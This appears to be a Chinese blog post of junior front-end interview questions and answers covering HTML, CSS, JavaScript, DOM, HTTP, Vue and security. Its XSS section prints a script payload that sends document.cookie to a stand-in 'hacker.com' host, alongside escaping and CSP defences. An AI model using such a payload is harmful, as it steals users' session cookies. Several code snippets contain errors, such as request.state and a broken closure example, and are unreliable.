前端面试题集【初级】(包含HTML、CSS、JS、DOM、HTT

2021-09-18  本文已影响0人  凉城十月

本篇分为九个模块:HTML、CSS、JS、DOM、HTTP、VUE、算法、安全、Webpack

一、HTML模块

1.你是如何理解HTML语义化的?

答:

  1. 举例,段落用 p,边栏用 aside,主要内容用 main 标签
最开始是 PHP 后端写 HTML,不会 CSS,于是就用 table 来布局。table 使用展示表格的。严重违反了 HTML 语义化。
 后来有了专门的写 CSS 的前端,他们会使用 DIV + CSS 布局,主要是用 float 和绝对定位布局。稍微符合了 HTML 语义化。
 再后来,前端专业化,知道 HTML 的各个标签的用法,于是会使用恰当的标签来展示内容,而不是傻傻的全用 div,会尽量使用 h1、ul、p、main、header 等标签
 语义化的好处是已读、有利于SEO等。
  1. 对面试官说请看我的博客 (多写博客!)
2.meta viewport 是做什么用的,怎么写?
  1. 死背:
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">

控制页面在移动端不要缩小显示。

  1. 侃侃而谈
 一开始,所有页面都是给PC准备的,乔布斯推出 iPhone 3GS,页面是不适应手机屏幕的,所以乔布斯的工程师想了一个办法,默认把手机模拟成 980px,页面缩小。
 后来,智能手机普及,这个功能在部分网站不需要了,所以我们就用 meta:vp 让手机不要缩小我的网页。
3.canvas 元素是干什么的?
  1. 丢项目
  2. 乖乖回答,根据自己的理解组织回答(面试官将投来赞赏的眼神)
  3. 查MDN canvas
let canvas = document.getElementById("canvas") //获取view
let ctx = canvas.getContext('2d') // 获取上下文
ctx.fillStyle = 'blue' //填充样式
ctx.fillRect(10,10,100,100) //画一个矩形
4.canvas和svg的区别
  1. svg绘制出来的每一个图形元素都是一个独立的DOM节点,可方便后期绑定事件或修改。而canvas输出的就是一整个画布。
  2. svg输出的图形是矢量的,后期可以通过修改参数来自由改变大小,而canvas输出标量画布,就像是一张图片一样的。

二、 CSS模块

1.(必考) 说说盒模型
2. css resetnormalize.css有什么区别?

考英文:

3.(必考)如何居中?
  1. 水平居中:
    内联(inline-block):爸爸身上写 text-align:center;
    块级(block)margin-left: auto; margin-right: auto;
  2. 垂直居中:
    见博客: css垂直居中
4.选择器优先级如何确定?
  1. 选择器越具体,优先级越高。#xxx 大于 .yyy
  2. 同样优先级,写在后面的覆盖前面的。
  3. color: red !important;优先级最高。
5.BFC 是什么?

BFC:Block Formatting Context,直译为“块级格式化上下文”。
是一个独立的渲染区域

  1. overflow: hidden; 清除浮动
  2. overflow:hidden 取消父子 margin 合并。父子margin合并
6.如何清除浮动?
  1. overflow: hidden;清除浮动(不推荐)
  2. .clearfix清除浮动写在爸爸身上
.clearfix{
  content:'';display: block; clear: both;
}
.clearfix{
     zoom: 1; /* IE 兼容 */
 }
7.css3的flex弹性布局的特性

参考博客:flex弹性布局

三、JS模块

1. JS有哪些数据类型?

JS有七大数据类型: String, Symbel, Number, Boolean, Undefined, Null, Object.
object 包括了数组、函数、正则、日期等对象

2. Promise 怎么使用?【必考】
$.ajax().then(成功函数1,失败函数1)
$.ajax().then(成功函数1,失败函数1).then(成功函数2,失败函数2)
function xxx(){
  return new Promise(function(resolve, reject){
    setTimeout(()=>{
      resolve() //或者reject()
    }, 1000)
  })
}
xxx.then(...)
3.手写一下AJAX?【必考】
let request = new XMLHttpRequest()
request.open(method,  url)
request.onreadystatechange = function(){
  if(request.readyState === 4){
    if(request.state >= 200 && request.state < 300){
      console.log('success')
    }
  }
}
request.send(body) //当method是get的时候,没有body
4.闭包是什么?【必考】

「函数」和「函数内部能访问到的变量」(也叫环境)的总和,就是一个闭包。
参考:https://zhuanlan.zhihu.com/p/22486908

  1. 为什么要函数嵌套函数?只是为了创建一个局部变量,去实现变量隐藏。
  2. 为什么要return函数呢?return 函数只是为了能够使用return的这个东西。
  3. 闭包的作用?闭包是为了隐藏变量,让变量不被篡改。
  4. 闭包会造成内存泄漏吗?不会。因为我们闭包的变量正是我们需要的变量,那么为什么会是要被回收的垃圾呢。出现这个说法是因为IE的内存泄漏的bug。
function (){
  let n=0
  return function(){
    n+=1
  }
}
let adder=()
adder() //n===1
adder() //n===2
console.log(n) //n is not defined
5.这段代码里面的this是什么?【必考】
  1. fn() 里面的 this 就是 window
  2. fn() 是 strict mode,this 就是 undefined
  3. a.b.c.fn() 里面的 this 就是 a.b.c
  4. new F() 里面的 this 就是新生成的实例
  5. () => console.log(this) 里面 this 跟外面的 this 的值一模一样
    详细解析this请看:https://zhuanlan.zhihu.com/p/23804247
6.什么是立即执行函数?使用立即执行函数的目的是什么?【必考】
;(function (){
   var name
 }())
 ;(function (){
   var name
 })()
 !!!!!!!function (){
   var name
 }()
 ~function (){
   var name
 }()

造出一个函数作用域,防止污染全局变量
ES 6 新语法

{
   let  name
}
7. async/await 语法了解吗?目的是什么?
function 摇色子(){
    return new Promise((resolve, reject)=>{
        let sino = parseInt(Math.random() * 6 +1)
        setTimeout(()=>{
            resolve(sino)
        },3000)
    })
}
async function test(){
    let n =await 摇色子()
    console.log(n)
}
test()

这段代码中,test函数必须摇色子函数执行完成后,才将摇色子return的值赋给左边的n。

8.JS如何实现深拷贝?
  1. JSON深拷贝
let a = {....}
let b = JSON.parse( JSON.stringify( a ))

缺点:JSON 不支持函数、引用、undefined、RegExp、Date……

  1. 递归拷贝
function clone(object){
  var object2
  if(! (object instanceof Object)){
    return object2
  }else if(object instanceof Array){
    object2 = []
  }else if(object instanceof Function){
    object2 =  eval(object.toString())  
  }else if(object instanceof Object){
    object2 = {}
  }
//也可以把Array Function Object都当成Object来处理
  for(let key in object){
    object2[key] = clone( object[key] )
  }
  return object2
}
  1. RegExp、Date、Set、Symbol、WeakMap
9.如何实现数组去重?
  1. 计数排序的去重(只能正整数)
var a =[1,3,4,2,5,6,3,4,2,4] 
var hashTab = {}
for(let i=0;i<a.length; i++){
  if(a[i] in hashTab){
  }else{
    hashTab[ a[i] ] = true
  }
}
console.log(Object.keys(hashTab)) //['1','2','3','4','5','6']

注意,打印出来的是字符串(顺序根据数字大小排序),为了区分字符串和数字,所以只能应用在正整数。

  1. Set去重
var a =[1,3,4,2,5,6,3,4,2,4] 
Array.from(new Set(a)) //[1,3,4,2,5,6]
  1. WeakMap 任意类型去重
10.如何用正则实现 string.trim() ?
function trim(string){
  return string.replace(/^\s+|\s+$/g,'')
}
11.JS原型是什么?
  1. var a=[1,2,3]
  2. 只有0,1,2,3,length四个key
  3. 那么为什么可以a.push(4),这个push是哪里来的?
  4. a.__proto__ === Array.prototype
  5. push就是沿着__proto__找到的,也就是Array.prototype.push
  6. Array.prototype还有很多其他方法,比如pop, join, slice, splice
  7. Array.prototype就是a的原型(也就是__proto__
    参考:https://zhuanlan.zhihu.com/p/23090041
12.ES6中的class了解吗?

见博客:Class初识

13. JS如何实现继承?
function Animal(){  
  this.body = '肉体'
}
Animal.prototype.move = function(){}

function Human(name){
  Animal.apply(this, arguments)
  this.name = name
}
//Human.prototype.__proto__ === Animal.prototype//不合法
//用一个临时变量存储,等价于
var f = function(){}
f.prototype === Animal.prototype
Human.prototype ===  new f()

Human.prototype.useTools = function(){}

var frank = new Human()
class Animal{
  constructor(){
    this.body = '肉体'
  }
  move(){}
}
class Human extends Animal{
  constructor(name){
    super()
    this.name = name
  }
  useTools(){}
}

四. DOM模块

1.DOM事件模型是什么?

见博客:捕获冒泡

  1. 捕获
  2. 冒泡
  3. 如果这个元素是被点击的元素,那么不一定先捕获后冒泡,顺序是由监听顺序决定的
2. 移动端的触摸事件了解吗?
  1. touchstart touchmove touchend touchcancel
  2. 模拟swipe事件:记录两次移动的位置,如果后一次在前一次的右边,那么就是向右滑动。
3. 事件委托是什么?有什么好处?
  1. 事件委托:通俗地来讲,就是把一个元素响应事件(click、keydown......)的函数委托到另一个元素。
    假设父元素有4个儿子,我不监听4个儿子,而是监听父元素,看触发事件的元素是哪个儿子,这就是事件委托。
  2. 可以监听还没出生的儿子,同时也省监听器。
    有bug,但是可以通过事件委托普通面试的代码
function listen(element, eventType, selector, fn){
  element.addEventListener(eventType, (e)=>{
    let el = e.target
    if( el.matches(selector) ){
      fn.call(el, e, el)
    }
  })
}
//有bug,但是可以通过事件委托普通面试的代码

工资12k的前端写的事件委托

function listen(element, eventType, selector, fn){
  element.addEventListener(eventType, (e)=>{
    let el = e.target
    while(! el.matches(selector) ){
      if(element === el){
        el = null
        break; 
      }
      el = el.parentNode
    }
    el && fn.call(el, e, el)
  })
  return element
}
//工资12k的前端写的事件委托

五、HTTP模块

1.HTTP状态码知道哪些?

HTTP状态码共分为5种类型。

分类 分类描述
1** 信息,服务器收到请求,需要请求者继续执行操作
2** 成功,操作被成功接收并处理
3** 重定向,需要进一步的操作以完成请求
4** 客户端错误,请求包含语法错误或无法完成请求
5** 服务器错误,服务器在处理请求的过程中发生了错误

常用的状态码](https://www.runoob.com/http/http-status-codes.html)有:

状态码 状态码英文名称 中文描述
100 Continue 继续。客户端继续其请求
200 OK 请求成功。一般用于GET和Post请求
202 Accepted 已接受。已经接受请求,但未处理完成
204 No Content 无内容。服务器处理成功,但未返回其内容。在未更新网页的情况下,确保浏览器仍然显示当前文档。
301 Moved Permanently 永久移动。请求的资源已被永久的移动到新URI,返回信息会包括新的URI,浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替。
404 Not Found 服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置"您所请求的资源无法找到"的个性页面
500 Internal Server Error 服务器内部错误,无法完成请求。
503 Service Unavailable 由于超载或系统维护,服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的Retry-After头信息中。
2. 301 和 302 的区别是什么?
  1. 301是永久重定向,浏览器会记住
  2. 302是临时重定向
3.HTTP 缓存怎么做?
  1. Cache-Control: max-age=300
  2. http://cdn.com/1.js?v=1 避开缓存
4.Cache-Control 和 Etag 的区别是什么?

Cache在设定时间内,不会发起请求,Etag不管怎样都会发起请求,但是不一定会下载。

5.Cookie 是什么?Session 是什么?
  1. Cookie
    a. HTTP响应通过 Set-Cookie 设置 Cookie
    b. 浏览器访问指定域名是必须带上 Cookie 作为 Request Header
    c. Cookie 一般用来记录用户信息
  2. Session
    a.Session 是服务器端的内存(数据)
    b. Session 一般通过在 Cookie 里记录 SessionID 实现
    c. SessionID 一般是随机数
6. LocalStorage 和 Cookie 的区别是什么?
  1. Cookie会在请求时被带到服务器,而Localstorage不会
  2. Cookie一般是4k以下大小,而LocalStorage是5M左右
7.GET 和 POST 的区别是什么?【必考】
  1. 参数。GET的参数放在url的查询参数内,而POST的参数放在请求消息体里。
  2. 安全(扯淡)。POST比GET请求更安全。
  3. GET参数有长度限制(扯淡),一般是1024个字符。而POST参数没有限制(扯淡,一般是5~10MB的长度)。
  4. 包。GET请求只需要发一个包,而POST请求需要发两个以上的包,因为POST有请求消息体(扯淡,GET请求也可以用消息体)。
  5. GET是用来读数据,而POST是用来写数据,POST不幂等(幂等的意思就是不管发多少次请求,结果都一样)。
8. 怎么跨域?JSONP 是什么?CORS 是什么?postMessage 是什么?【必考】
  1. CORS(Cross-Origin Resource Sharing)跨域资源共享
'Access-Control-Allow-Origin': 'www.baidu.com'//或者指定域
  1. 通过 JSONP跨域
callback.call(undefined, {"name":"Lucia"})
  1. 降域:通过修改document.domain来跨子域
    【前提:主域名要一致】
    http://a.yilia.com 调用http://b.yilia.com
<script>
 document.domain = yilia.com;
</script>
//将两个域名都降域,此时就可以相互访问了
  1. window.postMessage() 方法可以安全地实现跨源通信.

六、VUE模块

1. Vue 有哪些生命周期钩子函数?【必考】

文档Vue文档
beforeCreate,created,beforeMount,mounted,beforeUpdate,updated,activated,deactivated,beforeDestroy,destroyed,errorCaptrued
钩子函数的面试题可以点击查看

2. Vue 如何实现组件通信?【必考】

a. 父子通信(使用 Prop 传递数据、使用 v-on 绑定事件)
b. 爷孙通信(通过两对父子通信,爷爸之间父子通信,爸儿之间父子通信)
c. 兄弟通信(new Vue() 作为 eventBus),我自己也写了关于兄弟通信的博客。

3.Vuex 的作用是什么?

看文档:Vuex文档
我自己写的vuex博客

4. VueRouter 路由是什么?

VueRouter

  1. $route$router的区别是什么?
    答:$route是一个对象,储存路由的一些信息。$router是vueRouter的实例。
5.Vue 的双向绑定是如何实现的?有什么缺点?

深入响应式原理

6. Computed 计算属性的用法?跟 Methods 的区别。

https://zhuanlan.zhihu.com/p/33778594
相同:都不能用箭头函数,会导致this的指向变化
不同点:

  1. computed:响应式,methods:非响应式
  2. 调用方式:computed和属性调用相同,比如<div>{{msg}}</div>;methods是函数调用法,比如<div>{{msg()}}</div>
  3. computed是带缓存的,依赖于响应式属性,只有当响应式属性变化时,才会重新计算;而methods的函数每次调用都会执行。computed比methods更加节约性能。
  4. computed可以只定义一个函数为只读属性,也可以设置其他函数的get/set变成可读写属性,这一点的methods做不到。

七、算法模块

  1. 排序算法(背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序)
  2. 二分查找法
  3. 翻转二叉树

八、安全模块

1. 什么是 XSS 攻击?如何预防?
 div.innerHTML = userComment  // userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
  // 恶意代码就被执行了,这就是 XSS
  1. 不要使用 innerHTML,改成 innerText,script 就会被当成文本,不执行
  2. 如果你一样要用 innerHTML,字符过滤
    a. 把< 替换成 &lt;
    b. 把 >替换成 &gt;
    c. 把 &替换成 &amp;
    d. 把'替换成 &#39;
    e. 把"替换成&quot;
    f. 代码 div.innerHTML = userComment.replace(/>/g, '&lt;').replace...
  3. 使用 CSP(Content Security Policy):内容安全策略,是一个额外的安全层,用来检测并削弱一些特定类型的攻击。
    使用:Content-Security-Policy: policy,在http头部返回。
2. 什么是 CSRF 攻击?如何预防?

九、Webpack模块

1. 转译出的文件过大怎么办?
  1. 使用code split
  2. 代码 import('xxx').then(xxx=>{console.log(xxx)})
  3. xxx模块就是按需加载的
2. 转义速度慢怎么办?
3. 写过webpack loader吗?

如何开发一个webpack-loader

上一篇下一篇

猜你喜欢

热点阅读